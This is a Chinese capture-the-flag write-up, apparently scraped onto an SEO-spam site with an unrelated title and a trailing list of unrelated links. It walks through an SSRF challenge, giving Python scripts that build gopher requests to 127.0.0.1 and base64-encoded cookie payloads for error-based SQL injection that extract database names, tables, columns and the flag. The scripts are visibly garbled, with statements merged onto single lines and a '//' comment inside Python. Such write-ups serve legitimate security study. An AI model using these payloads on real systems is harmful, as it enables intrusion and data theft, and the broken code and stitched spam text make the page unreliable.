当前位置: 首页 > wzjs >正文

防做网站东台网站制作

防做网站,东台网站制作,资源分享类网站模板,网站建设参考论文题目有一行提示: you are not an inner user, so we can not let you have identify~(你不是内部用户,所以我们不能让你进行身份验证)联想到可能存在SSRF漏洞,一般情况下,SSRF攻击的目标是外网无法访问的内…

题目有一行提示:

you are not an inner user, so we can not let you have identify~(你不是内部用户,所以我们不能让你进行身份验证)联想到可能存在SSRF漏洞,一般情况下,SSRF攻击的目标是外网无法访问的内部系统(正是因为请求是由服务器发起的,所以服务器能请求到与自身相连而与外网隔离的内部系统),所以根据提示内容会想到SSRF漏洞

查看源码,提示存在use.php

页面显示:你想用curl命令访问的网址是什么?

SSRF的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤或限制,我们可以让服务器向自身发送请求(127.0.0.1),这样可以访问内网或本地服务

首先利用gopher协议实现内部访问

import urllib.parse# 目标服务器地址和端口
host = "127.0.0.1:80"# HTTP 请求体的内容
content = "uname=admin&passwd=admin"
content_length = len(content)# 构造 HTTP POST 请求的字符串
test = """POST /index.php HTTP/1.1
Host: {}
User-Agent: curl/7.43.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: {}{}
""".format(host, content_length, content)# 对请求字符串进行 URL 编码
encoded_test = urllib.parse.quote(test)# 将换行符 %0A 替换为 %0D%0A,以符合 HTTP 协议
encoded_test = encoded_test.replace("%0A", "%0D%0A")# 构造最终的 Gopher 协议请求
result = "gopher://" + host + "/_" + encoded_testprint(result)

将 host 设为 127.0.0.1:80 是为了:

  • 利用 SSRF 让服务器自己发起 HTTP 请求,尝试访问本地 Web 应用中不可从外部访问的部分。
  • 结合 SQL 注入 payload,为了绕过一些限制,间接获取敏感数据

这段代码目的是 构造一个请求,用hopher协议发送,目的是让服务器访问其自身的 127.0.0.1 地址

抓包获取可以发现setcookie的值为admin的base64编码值。

猜测在setcookie处为注入点,首先测试是字符型还是整数型注入,构造payload为 \

 我们可以使用\(转义字符)来判断SQL注入的闭合方式。
    分析报错信息:看\斜杠后面跟着的字符,是什么字符,它的闭合字符就是什么,若是没有,就为数字型

在\后面为'),所以闭合方式为'),

使用报错注入查询数据库

import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, (select database()),0x7e)) #"
//base64编码,提高注入得成功率
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payloadtest =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}""".format(host,cookie)tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)

查库security

import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, (select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e)) #"
//base64编码,提高注入得成功率
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payloadtest =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}""".format(host,cookie)tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)

查表flag

import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='flag'),0x7e)) #"
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payloadtest =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}""".format(host,cookie)tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)

查内容flag  admin') and extractvalue(1,concat(0x7e,(select flag from flag),0x7e)) #

得到flag

http://www.dtcms.com/wzjs/566904.html

相关文章:

  • 有质感的wordpress主题太原百度快照优化排名
  • 网站的侧边栏怎么做网站规划与建设的案例分析
  • 福州服务类网站建设莆田网站建站
  • 网站建设一条龙服务金华网站定制公司
  • 买手表网站有哪些做网站公司
  • 个人网站模板 html5网站分类目录查询
  • 2013网站挂马教程建功能网站
  • 网站开发后台数据怎么来淘宝店铺装修
  • 免费网站模板怎么用网站建设整个流程
  • 电子商务网站策划 ppt做自己照片视频网站
  • 中国新农村建设网站怎么免费做公司网页
  • 福州免费自助建站模板沧州做网站的公司
  • 坑梓网站建设市场阿里低代码开发平台
  • 厦门网站建设680做读书笔记的网站
  • flash做网站的流程免备案网站建设
  • 宜昌网站建设哪家好免费咨询病情
  • 成都网站推广公司站长工具seo综合查询论坛
  • 西安网站建设第一品牌wordpress资源管理
  • 学生个人网站建设方案书框架栏目深圳福田专业网站推广
  • 陕西省城乡住房建设厅网站wordpress 内容页摘要
  • 珠宝网站dedecms模版网站ui设计公司
  • 电商企业门户网站建设方案江苏盐城有做淘宝网站的吗
  • 网站建设的同义词东莞专业网站建设平台
  • qq群网站制作婚礼策划网站建设
  • .net做网站开发常见的c2c平台有
  • 广东建设继续教育网站首页wordpress知名网站
  • 低价网站制作墨西哥网站后缀
  • 网站制作致谢词做网站的文案怎么写
  • 可以仿做网站吗电商平台网站模板
  • 白云手机网站建设北京广告设计公司排行